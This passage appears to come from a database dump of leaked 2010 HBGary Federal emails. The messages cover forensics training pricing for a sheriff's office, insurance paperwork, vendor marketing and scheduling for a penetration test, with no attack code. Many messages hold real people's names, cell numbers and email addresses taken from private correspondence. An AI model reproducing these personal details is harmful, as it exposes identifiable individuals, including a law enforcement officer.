Sponsorships\r\n                                  Individual\r\n                  Registration\r\nVenue\r\n                  &nbsp;\r\n                \r\n            \r\n          \r\n            \r\n            \r\n              \r\n                Diamond Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n\r\n\r\n\r\n  \r\n  \r\n\r\n\r\n  \r\n  \r\n\r\n  \r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n\r\n\r\n\r\n              \r\n            \r\n            \r\n            \r\n              \r\n                Premiere Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n  \r\n  \r\n    \r\n    \r\n  \r\n  \r\n    \r\n      \r\n  \r\n  \r\n  \r\n  \r\n  \r\n    &nbsp;\r\n  \r\n  \r\n\r\n              \r\n            \r\n            \r\n            \r\n              \r\n                Platinum Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n                    \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                    \r\n                \r\n              \r\n            \r\n            \r\n            \r\n              \r\n                Gold Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n                    \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                    \r\n                \r\n              \r\n          \r\n          \r\n          \r\n        \r\n      \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n             Armed Forces Communications and Electronics Association \r\n              of Washington, D.C.\r\n              1220 L St., NW, Suite 100-407, Washington, D.C. 20005-4018\r\n              info@afceadc.org&nbsp;&nbsp; \r\n              |&nbsp;&nbsp; tel: 202-701-5808&nbsp;&nbsp; |&nbsp;&nbsp; fax: 202-330-5012\r\n            \r\n            \r\n        \r\n        \r\n          &nbsp;\r\n            AFCEA NOVA Management by an amazing team of Volunteers, \r\n              supported by : CAPLEAD | info@caplead.com\r\n            \r\n        \r\n      \r\n  \r\n\r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',1843,'aaron_hbgary_com/1843.html'),(7808,'2010-06-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006063.M327003P14101Q2663.eml','\"Jim Richards\" <jim@hbgary.com>,\"Jim Richards\" <jim@hbgary.com>','LEO Training','Hi Jim,\r\n\r\nEric Ashworth would like to host training for local law enforcement\r\nofficers in NW Colorado.  Penny met him at a conference and thinks she\r\nmay have mentioned the DHS contract, which has now ended.  Penny said\r\nwe could offer them a deal on the training and still include Responder\r\nField Edition.  Please see Eric\'s email below.  Can you provide me\r\nwith the answers to his questions?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n Ted:\r\n\r\nThanks for the email, we are very interested in hosting your training.\r\n Would you be able to send me some information on what training\r\nclasses are available as well as number of days, tuition, minimum\r\nnumber of students etc?\r\n\r\nAs far as dates, I don’t have any as yet, do you have a list of dates\r\nthat would work for you maybe a couple months out?\r\n\r\nDetective Corporal Eric Ashworth\r\nGarfield County Sheriff’s Office\r\n107 8th Street\r\nGlenwood Springs, Colorado 81601\r\nEmail:  eashworth@garcosheriff.com\r\nOffice: 970-945-1377 X1028\r\nCell: 970-309-1053\r\nCONFIDENTIALITY NOTICE: This communication and any enclosed\r\ndocument(s) are confidential and privileged. If you receive this\r\ntransmission in error, you are advised that any disclosure, copying,\r\ndistribution, or the taking of any action in reliance upon the\r\ncommunication is strictly prohibited. Moreover, any such inadvertent\r\ndisclosure shall not compromise or waive the attorney-client privilege\r\nand/or the attorney work-product privilege as to this communication or\r\notherwise. If you have received this communication in error, please\r\ncontact Eric Ashworth, eashworth@garcosheriff.com at 970.945-1377 XT\r\n1028.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',16546,'aaron_hbgary_com/16546.html'),(7809,'2010-06-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006063.M602770P14101Q2664.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','HBGary Federal Services','Hi Bob,\r\n\r\nDo you have any HBGary customer lists that we could use to help drum\r\nup some HBGary Federal Services work?\r\n\r\nTed\r\n',2479,'aaron_hbgary_com/2479.html'),(7810,'2010-06-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006072.M544533P14101Q2665.eml','jeffbell@onebox.com,jeffbell@onebox.com','Re: Colorado Plan','Jeff,\r\n\r\nAttached are our Articles of Organization and Operating Agreement, to\r\nget you started.  I\'m tracking down the tax forms.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Thu, Jun 24, 2010 at 4:51 PM,   wrote:\r\n> Hi Ted, I have been in contact with the underwriters at Anthem Blue Cross\r\n> Colorado and have a fair idea of the necessary elements they require to\r\n> place a small group plan. I will need the most recent Colorado UITR tax\r\n> document and the articles of incorporation for HBGary Federal LLC with the\r\n> CA Secretary of State listing of officers. That should give me the necessary\r\n> information to begin my work with Anthem Colorado.\r\n> Pls give me a call or email if you have any questions\r\n> Sincerely,--\r\n> Jeff Bell / Mission Trail Ins.Agency    510-912-2355\r\n> jeffbell@onebox.com - email\r\n> (866) 578-1808 - voicemail/fax\r\n> This e-mail, including attachments, may include confidential and/or\r\n> proprietary information, and may be used only by the person or entity\r\n> to which it is addressed.\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13014,'aaron_hbgary_com/13014.html'),(7811,'2010-06-25','\"Fidelis Security Systems\" <Fidelis_Security_Systems@mail.vresp.com>','/aaron@hbgary.com/new/1297006077.M656608P14101Q2666.eml','aaron@hbgary.com','Just Announced! Actionable Threat Intelligence with Fidelis XPS','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nbody{\r\n	font-family:Arial, Helvetica, sans-serif;\r\n	\r\n	}\r\n.h1 {\r\n	font-family:Arial, Helvetica, sans-serif;\r\n    font-size:19px;\r\n	font-weight:bold;\r\n	color:red;\r\n	display:inline;\r\n}	\r\n.body{\r\n	font-size:12px;\r\n	\r\n}\r\n\r\n\r\n.tile{\r\n	background:#FFFFFF url(http://www.fidelissecurity.com/images/invite/invite_tile.gif) repeat-x top;\r\n}\r\n.greenHead th{\r\n	background-color:#99a651;\r\n	color:white;\r\n	font-weight:bold;\r\n	font-size:16px;\r\n	text-align:left;\r\n	padding:2px 0px 2px 5px;\r\n}\r\n\r\n.greenHead td{\r\n	font-size:12px;\r\n	padding:2px 2px 8px 8px;\r\n\r\n}\r\n.greenHead{\r\n	margin:0px 10px 0px 0px;\r\n	border:1px solid #666;\r\n}\r\n.greenHead li{\r\n	font-size:14px;\r\n	font-weight:bold;\r\n	color:#800000;\r\n	margin-left:10px;\r\n	list-style-image:url(http://www.fidelissecurity.com/images/invite/list.gif);\r\n	\r\n}\r\n.style1 {color: #7c8b94}\r\n.style2 {color: #5b686f; padding-top:10px}\r\n.style3 {font-size: x-small}\r\n\r\n.style4 {\r\n	color: #800000;\r\n	font-weight: bold;\r\n	font-size:14px;\r\n}\r\n.copy{\r\n	font-style:italic;\r\n	font-size:9px;\r\n	padding-top:10px;\r\n}\r\n\r\n.eventHead{\r\n	background-color:#f2f2f2;	\r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n\r\n      \r\n        \r\n          Just Announced!\r\nActionable Threat Intelligence: Prevent Cyber Attacks with Fidelis XPS&trade; \r\n\r\n          \r\n          \r\n        \r\n          \r\n  \r\n\r\n  \r\n    &nbsp;\r\n  \r\n  \r\n    As advanced and persistent threats&mdash; such as phishing and malware attacks&mdash; constantly morph, it is critical to stay ahead of the threat.\r\n\r\nTo date, the limited amount of threat intelligence data available has been trapped in products offering only partial visibility into network traffic and minimal coverage of a small number of ports and protocols.   \r\n \r\n        \r\n           Feed It! \r\n\r\n  &nbsp; \r\n        This week, Fidelis Security Systems announced that their award-winning network security product, Fidelis XPS&trade;, integrates directly with Anti-Malware and Anti-Phishing threat intelligence feeds from Cyveillance, a world leader in cyber intelligence solutions.  \r\n\r\nThe newly released Feed Manager function in Fidelis XPS connects to threat intelligence sources, either internal or external to the organization, in order to provide dynamic, real-time reputation-based policy updates to their Fidelis XPS sensors.  \r\n\r\n  \r\nWhy Use Fidelis XPS Real-Time Threat Intelligence?\r\n      Unlike signature-based solutions that are easy to evade, or reputational data tied to a small number of ports, Fidelis XPS brings real-time reputational knowledge to life for all 65,535 ports along with the unparalleled visibility and control of network traffic needed to mitigate today&#39;s advanced and persistent cyber threats.\r\n      \r\n      \r\n\r\n        Transforms dynamic threat intelligence data into actionable threat mitigation policies automatically.\r\n        Greatly reduces threat mitigation cost and time-to-safety.\r\n        Operationalizes threat intelligence across all ports to stay ahead of the threat, as many advanced threats are port-agile.\r\n        Enforces threat intelligence policies at throughputs up to multiple Gigabits per second in a single device to protect all enterprise ingress and egress traffic with a single box.\r\n        Enable fine-grained policy decisions through enforced policies that combine dynamic threat intelligence with other factors. \r\n       \r\n      \r\n\r\n      It&#39;s Time to Take Action! \r\n       Visit our website or contact us today to learn more about Fidelis XPS threat intelligence features. \r\n      \r\n    \r\n    \r\n\r\n      \r\n        \r\n        Learn why Fidelis XPS is the network security solution you should choose to prevent cyber attacks&mdash;\r\n          Take Action! \r\n      \r\n      \r\n        &nbsp;\r\n      \r\n      \r\n\r\n        \r\n          Attend the Webinar \r\n          Learn more about the new evolving threats on your network and how to prevent them by attending the &ldquo;Shaken, Not Stirred: Preventing Cyber Attacks with Actionable Threat Intelligence&rdquo; Webinar at 1:00 p.m. EST on July 21, 2010\r\n      \r\n      \r\n        &nbsp;\r\n      \r\n\r\n      \r\n        See It in Action \r\n          Check out our 4-minute YouTube video demo to see the visibility and control you will gain when using our Information Flow Map&trade; feature for advanced situational awareness. \r\n      \r\n      \r\n        &nbsp;\r\n      \r\n\r\n      \r\n        Read All About It\r\n        Download our white paper, &ldquo;Preventing Cyber  Attacks with Real-Time Threat Intelligence&rdquo;. \r\n          &nbsp;\r\n  \r\n\r\n  \r\n    Copyright &copy; 2010 Fidelis Security Systems. the Fidelis Security Systems logo are registered trademarks of Fidelis Security Systems.\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n         Click to view this email in a browser\r\n         \r\n         \r\n       If you no longer wish to receive these emails, please reply to this message with \"Unsubscribe\" in the subject line or simply click on the following link: \r\n \r\nUnsubscribe\r\n\r\n\r\n\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n                  Fidelis Security Systems\r\n        4416 East West Highway\r\n        Suite 310\r\n        Bethesda, Maryland 20814\r\n\r\n        \r\n          \r\nRead the VerticalResponse marketing policy.\r\n\r\n\r\n        \r\n      \r\n    \r\n    \r\n      \r\n\r\n\r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n \r\n',12907,'aaron_hbgary_com/12907.html'),(7812,'2010-06-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006078.M104465P14101Q2667.eml','\"Jerry McClure\" <Jerry.McClure@agilex.com>,\"Jerry McClure\" <Jerry.McClure@agilex.com>,','Re: Questions','Any word on this Jerry?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\nOn Thu, Jun 24, 2010 at 11:06 AM, Ted Vera  wrote:\r\n> We need to have our tools to do the job.  If they say we cannot\r\n> install anything then that would be a show-stopper.  Trying to do the\r\n> pen-test without our tools, completely manually, writing custom tools\r\n> from scratch is probably not feasible.\r\n>\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Thu, Jun 24, 2010 at 10:59 AM, Jerry McClure\r\n>  wrote:\r\n>> What about if they say no?  Will the answer be you can\'t do the task?\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Thursday, June 24, 2010 12:58 PM\r\n>> To: Aaron Barr; Jerry McClure; Ira Entis\r\n>> Subject: Re: Questions\r\n>>\r\n>> Sorry, I only answered part of the question.  It will take no more\r\n>> than 1 hr to install and configure everything.\r\n>>\r\n>> Ted\r\n>>\r\n>>\r\n>>\r\n>> On Thu, Jun 24, 2010 at 10:56 AM, Ted Vera  wrote:\r\n>>> We can bring our software on disc or thumbdrive and install on their\r\n>>> systems if necessary.\r\n>>>\r\n>>> Ted\r\n>>>\r\n>>>\r\n>>> On Thu, Jun 24, 2010 at 9:15 AM, Aaron Barr  wrote:\r\n>>>>\r\n>>>>\r\n>>>> Sent from my iPad\r\n>>>> Begin forwarded message:\r\n>>>>\r\n>>>> From: Jerry McClure \r\n>>>> Date: June 24, 2010 11:13:24 AM EDT\r\n>>>> To: Aaron Barr \r\n>>>> Cc: Ira Entis \r\n>>>> Subject: Questions\r\n>>>>\r\n>>>> Aaron,\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> While read the technical proposal on the piece that you submitted to us that\r\n>>>> we included outlining in detail your approach, they came across this\r\n>>>> statement:\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> We will utilize the Metasploit Framework, an open-source penetration testing\r\n>>>> tool to launch most attacks.  The Metasploit Framework is modular, allowing\r\n>>>> us to easily create and add new attack modules. To exploit a system\r\n>>>> utilizing Metasploit, the msfconsole will be executed on an attack machine\r\n>>>> (we will provide laptops).\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> The security issue they have is the \"We will provide laptops\" as they can\'t\r\n>>>> have foreign laptops connect to their network.  If they provided the\r\n>>>> laptops, could you load the software you needed on it and executed from\r\n>>>> their laptop?  If so, how many hours would it take to do so?  If not, what\r\n>>>> other alternatives are there?  Thanks.\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> Jerry\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> From: Ira Entis\r\n>>>> Sent: Monday, June 14, 2010 3:44 PM\r\n>>>> To: Aaron Barr; Jerry McClure\r\n>>>> Subject: Fwd: my info\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> Guys -- does this new time work for you?\r\n>>>>\r\n>>>> - Ira\r\n>>>>\r\n>>>> Begin forwarded message:\r\n>>>>\r\n>>>> From: \"Taylor, David A\" \r\n>>>> Date: June 14, 2010 3:33:51 PM EDT\r\n>>>> To: Ira Entis \r\n>>>> Cc: \"Gore, James E\" , \"Martinez, Timmy L\" \r\n>>>> Subject: FW: my info\r\n>>>>\r\n>>>> Today\'s meeting will have to be canceled.\r\n>>>>\r\n>>>> Jim Gore is out of town.\r\n>>>>\r\n>>>> We can have the meeting to discuss the rules of engagement at 11:30 MDT\r\n>>>> Tues. 6/15/10.\r\n>>>>\r\n>>>> My apologies for the late notice. I just found out.\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> David Taylor\r\n>>>>\r\n>>>> 505-667-6884\r\n>>>>\r\n>>>> dataylor@lanl.gov\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> From: Taylor, David A\r\n>>>> Sent: Thursday, June 10, 2010 8:31 AM\r\n>>>> To: \'Ira Entis\'\r\n>>>> Cc: \'Martinez, Timmy L\'; Bryant, Doris B; Bryant, Jeffery A; Gore, James E;\r\n>>>> Lamb, James B\r\n>>>> Subject: RE: my info\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> Ira\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> Good to talk this morning.\r\n>>>>\r\n>>>> I am glad you have everything you need to review the PR.\r\n>>>>\r\n>>>> Below is a rough outline of key dates for your folks as we understand them.\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> The following are dates that we have that you should know.\r\n>>>>\r\n>>>> PR was to have been sent on 6/3.\r\n>>>>\r\n>>>> You have this week to review.\r\n>>>>\r\n>>>> We would need to make the award by 6/21 so that we could get started on the\r\n>>>> background check.\r\n>>>>\r\n>>>> We expect that to take 3 weeks.\r\n>>>>\r\n>>>> Jim Gore would be at training on 7/13 - 7/16.\r\n>>>>\r\n>>>> We finish up hardening and testing 7/19 - 7/26\r\n>>>>\r\n>>>> We would review testing with your folks  on 7/28\r\n>>>>\r\n>>>> Your folks would be out here testing on the week of 8/9 - 8/13.\r\n>>>>\r\n>>>> We are assuming that you would be able to do the unix and app penetration\r\n>>>> testing simultaneously for both iRecruit and iSupplier during the same week.\r\n>>>>\r\n>>>> We would review test results on 8/16.\r\n>>>>\r\n>>>> We would then expect a written report on 8/30.\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> If you need anything or have any questions do not hesitate to let me know.\r\n>>>>\r\n>>>> Thanks.\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> David Taylor\r\n>>>>\r\n>>>> 505-667-6884\r\n>>>>\r\n>>>> dataylor@lanl.gov\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> From: Ira Entis [mailto:Ira.Entis@agilex.com]\r\n>>>> Sent: Thursday, April 22, 2010 2:01 PM\r\n>>>> To: Taylor, David A\r\n>>>> Subject: my info\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> Ira S. Entis\r\n>>>> President, Government Services Sector\r\n>>>>\r\n>>>> Agilex Technologies, Inc.\r\n>>>> 5155 Parkstone Drive  |  Chantilly, VA 20151  |  www.agilex.com\r\n>>>> p:703.889.3900  |   m: 703.969.3200\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> --\r\n>>> Ted H. Vera\r\n>>> President | COO\r\n>>> HBGary Federal\r\n>>> 719-237-8623\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',14122,'aaron_hbgary_com/14122.html'),(7813,'2010-06-25','\"Jim Richards\" <jim@hbgary.com>','/aaron@hbgary.com/new/1297006081.M217241P14101Q2668.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: LEO Training','Ted,\r\nI\'ve attached the course descriptions for the Basic Memory Forensics Using\r\nResponder Field Edition 2-day course. This is the course I\'d recommend for\r\nthe training. As far as costs, I think Penny is willing to work with them on\r\nthe pricing. If I had to guess, maybe $1000 - $1200/student, as that\'s about\r\nthe same price we gave to the local FBI guy here in Sac. We\'d probably offer\r\na package price, say $12K - $15K or so for the training, copy of Responder\r\nFE, etc... I\'d say we\'d have to have a minimum 12 students to deliver the\r\nclass. \r\n\r\nLet me know if you have any other questions...\r\n\r\nJim\r\n\r\nJim Richards | Learning Programs Manager | HBGary, Inc.\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\nCell Phone: 916-276-2757 | Office Phone: 916-459-4727 x119 | Fax:\r\n916-481-1460\r\nWebsite: www.hbgary.com | email: jim@hbgary.com\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, June 25, 2010 10:45 AM\r\nTo: Jim Richards\r\nCc: Barr Aaron\r\nSubject: LEO Training\r\n\r\nHi Jim,\r\n\r\nEric Ashworth would like to host training for local law enforcement\r\nofficers in NW Colorado.  Penny met him at a conference and thinks she\r\nmay have mentioned the DHS contract, which has now ended.  Penny said\r\nwe could offer them a deal on the training and still include Responder\r\nField Edition.  Please see Eric\'s email below.  Can you provide me\r\nwith the answers to his questions?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n Ted:\r\n\r\nThanks for the email, we are very interested in hosting your training.\r\n Would you be able to send me some information on what training\r\nclasses are available as well as number of days, tuition, minimum\r\nnumber of students etc?\r\n\r\nAs far as dates, I don\'t have any as yet, do you have a list of dates\r\nthat would work for you maybe a couple months out?\r\n\r\nDetective Corporal Eric Ashworth\r\nGarfield County Sheriff\'s Office\r\n107 8th Street\r\nGlenwood Springs, Colorado 81601\r\nEmail:  eashworth@garcosheriff.com\r\nOffice: 970-945-1377 X1028\r\nCell: 970-309-1053\r\nCONFIDENTIALITY NOTICE: This communication and any enclosed\r\ndocument(s) are confidential and privileged. If you receive this\r\ntransmission in error, you are advised that any disclosure, copying,\r\ndistribution, or the taking of any action in reliance upon the\r\ncommunication is strictly prohibited. Moreover, any such inadvertent\r\ndisclosure shall not compromise or waive the attorney-client privilege\r\nand/or the attorney work-product privilege as to this communication or\r\notherwise. If you have received this communication in error, please\r\ncontact Eric Ashworth, eashworth@garcosheriff.com at 970.945-1377 XT\r\n1028.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',5099,'aaron_hbgary_com/5099.html'),(7814,'2010-06-25','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006081.M483954P14101Q2669.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: HBGary Federal Services','Yes, but it will take some work.  I would hook you up with more than people\r\nwho have bought our s/w.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, June 25, 2010 1:46 PM\r\nTo: Bob Slapnik\r\nCc: Barr Aaron\r\nSubject: HBGary Federal Services\r\n\r\nHi Bob,\r\n\r\nDo you have any HBGary customer lists that we could use to help drum\r\nup some HBGary Federal Services work?\r\n\r\nTed\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 06/25/10\r\n02:35:00\r\n\r\n',10357,'aaron_hbgary_com/10357.html'),(7815,'2010-06-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006081.M821495P14101Q2670.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Just Announced! Actionable Threat Intelligence with Fidelis XPS','---------- Forwarded message ----------From: Fidelis Security Systems &lt;Fidelis_Security_Systems@mail.vresp.com&gt;\r\nDate: Fri, Jun 25, 2010 at 12:04 PMSubject: Just Announced! Actionable Threat Intelligence with Fidelis XPSTo: ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n\r\n      \r\n        \r\n          Just Announced!\r\nActionable Threat Intelligence: Prevent Cyber Attacks with Fidelis XPS™ \r\n\r\n          \r\n          \r\n        \r\n          \r\n  \r\n\r\n  \r\n     \r\n  \r\n  \r\n    As advanced and persistent threats— such as phishing and malware attacks— constantly morph, it is critical to stay ahead of the threat.\r\n\r\nTo date, the limited amount of threat intelligence data available has been trapped in products offering only partial visibility into network traffic and minimal coverage of a small number of ports and protocols.   \r\n \r\n        \r\n           Feed It! \r\n\r\n    \r\n        This week, Fidelis Security Systems announced that their award-winning network security product, Fidelis XPS™, integrates directly with Anti-Malware and Anti-Phishing threat intelligence feeds from Cyveillance, a world leader in cyber intelligence solutions.  \r\n\r\nThe newly released Feed Manager function in Fidelis XPS connects to threat intelligence sources, either internal or external to the organization, in order to provide dynamic, real-time reputation-based policy updates to their Fidelis XPS sensors.  \r\n\r\n  \r\nWhy Use Fidelis XPS Real-Time Threat Intelligence?\r\n      Unlike signature-based solutions that are easy to evade, or reputational data tied to a small number of ports, Fidelis XPS brings real-time reputational knowledge to life for all 65,535 ports along with the unparalleled visibility and control of network traffic needed to mitigate today&#39;s advanced and persistent cyber threats.\r\n\r\n      \r\n      \r\n\r\n        Transforms dynamic threat intelligence data into actionable threat mitigation policies automatically.\r\n        Greatly reduces threat mitigation cost and time-to-safety.\r\n        Operationalizes threat intelligence across all ports to stay ahead of the threat, as many advanced threats are port-agile.\r\n        Enforces threat intelligence policies at throughputs up to multiple Gigabits per second in a single device to protect all enterprise ingress and egress traffic with a single box.\r\n        Enable fine-grained policy decisions through enforced policies that combine dynamic threat intelligence with other factors. \r\n       \r\n      \r\n\r\n      It&#39;s Time to Take Action! \r\n       Visit our website or contact us today to learn more about Fidelis XPS threat intelligence features. \r\n\r\n      \r\n    \r\n    \r\n\r\n      \r\n        \r\n        Learn why Fidelis XPS is the network security solution you should choose to prevent cyber attacks—\r\n          Take Action! \r\n      \r\n      \r\n         \r\n      \r\n      \r\n\r\n        \r\n          Attend the Webinar \r\n          Learn more about the new evolving threats on your network and how to prevent them by attending the “Shaken, Not Stirred: Preventing Cyber Attacks with Actionable Threat Intelligence” Webinar at 1:00 p.m. EST on July 21, 2010\r\n\r\n      \r\n      \r\n         \r\n      \r\n\r\n      \r\n        See It in Action \r\n          Check out our 4-minute YouTube video demo to see the visibility and control you will gain when using our Information Flow Map™ feature for advanced situational awareness. \r\n\r\n      \r\n      \r\n         \r\n      \r\n\r\n      \r\n        Read All About It\r\n        Download our white paper, “Preventing Cyber  Attacks with Real-Time Threat Intelligence”. \r\n\r\n           \r\n  \r\n\r\n  \r\n    Copyright © 2010 Fidelis Security Systems. the Fidelis Security Systems logo are registered trademarks of Fidelis Security Systems.\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n         Click to view this email in a browser\r\n         \r\n         \r\n       If you no longer wish to receive these emails, please reply to this message with &quot;Unsubscribe&quot; in the subject line or simply click on the following link: \r\n \r\nUnsubscribe\r\n\r\n\r\n\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n                  Fidelis Security Systems\r\n        4416 East West Highway\r\n        Suite 310\r\n        Bethesda, Maryland 20814\r\n\r\n        \r\n          \r\nRead the VerticalResponse marketing policy.\r\n\r\n\r\n        \r\n      \r\n    \r\n    \r\n      \r\n\r\n\r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n \r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',9596,'aaron_hbgary_com/9596.html'),(7816,'2010-06-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006082.M111547P14101Q2671.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Fwd: Just Announced! Actionable Threat Intelligence with Fidelis XPS','From my iPhoneBegin forwarded message:From: &quot;Fidelis Security Systems&quot; &lt;Fidelis_Security_Systems@mail.vresp.com&gt;\r\nDate: June 25, 2010 2:02:22 PM EDTTo: aaron@hbgary.comSubject: Just Announced! Actionable Threat Intelligence with Fidelis XPS\r\nReply-To: &quot;Fidelis Security Systems&quot; &lt;reply-a00a744198-8abe222907-9955@u.cts.vresp.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n\r\n      \r\n        \r\n          Just Announced!\r\nActionable Threat Intelligence: Prevent Cyber Attacks with Fidelis XPS™ \r\n\r\n          \r\n          \r\n\r\n        \r\n          \r\n  \r\n\r\n  \r\n     \r\n  \r\n  \r\n    As advanced and persistent threats— such as phishing and malware attacks— constantly morph, it is critical to stay ahead of the threat.\r\n\r\nTo date, the limited amount of threat intelligence data available has been trapped in products offering only partial visibility into network traffic and minimal coverage of a small number of ports and protocols.   \r\n \r\n        \r\n           Feed It! \r\n\r\n    \r\n        This week, Fidelis Security Systems announced that their award-winning network security product, Fidelis XPS™, integrates directly with Anti-Malware and Anti-Phishing threat intelligence feeds from Cyveillance, a world leader in cyber intelligence solutions.  \r\n\r\nThe newly released Feed Manager function in Fidelis XPS connects to threat intelligence sources, either internal or external to the organization, in order to provide dynamic, real-time reputation-based policy updates to their Fidelis XPS sensors.  \r\n\r\n  \r\nWhy Use Fidelis XPS Real-Time Threat Intelligence?\r\n      Unlike signature-based solutions that are easy to evade, or reputational data tied to a small number of ports, Fidelis XPS brings real-time reputational knowledge to life for all 65,535 ports along with the unparalleled visibility and control of network traffic needed to mitigate today&#39;s advanced and persistent cyber threats.\r\n\r\n      \r\n      \r\n\r\n        Transforms dynamic threat intelligence data into actionable threat mitigation policies automatically.\r\n        Greatly reduces threat mitigation cost and time-to-safety.\r\n        Operationalizes threat intelligence across all ports to stay ahead of the threat, as many advanced threats are port-agile.\r\n        Enforces threat intelligence policies at throughputs up to multiple Gigabits per second in a single device to protect all enterprise ingress and egress traffic with a single box.\r\n        Enable fine-grained policy decisions through enforced policies that combine dynamic threat intelligence with other factors. \r\n       \r\n      \r\n\r\n      It&#39;s Time to Take Action! \r\n       Visit our website or contact us today to learn more about Fidelis XPS threat intelligence features. \r\n\r\n      \r\n    \r\n    \r\n\r\n      \r\n        \r\n        Learn why Fidelis XPS is the network security solution you should choose to prevent cyber attacks—\r\n          Take Action! \r\n      \r\n      \r\n         \r\n      \r\n      \r\n\r\n        \r\n          Attend the Webinar \r\n          Learn more about the new evolving threats on your network and how to prevent them by attending the 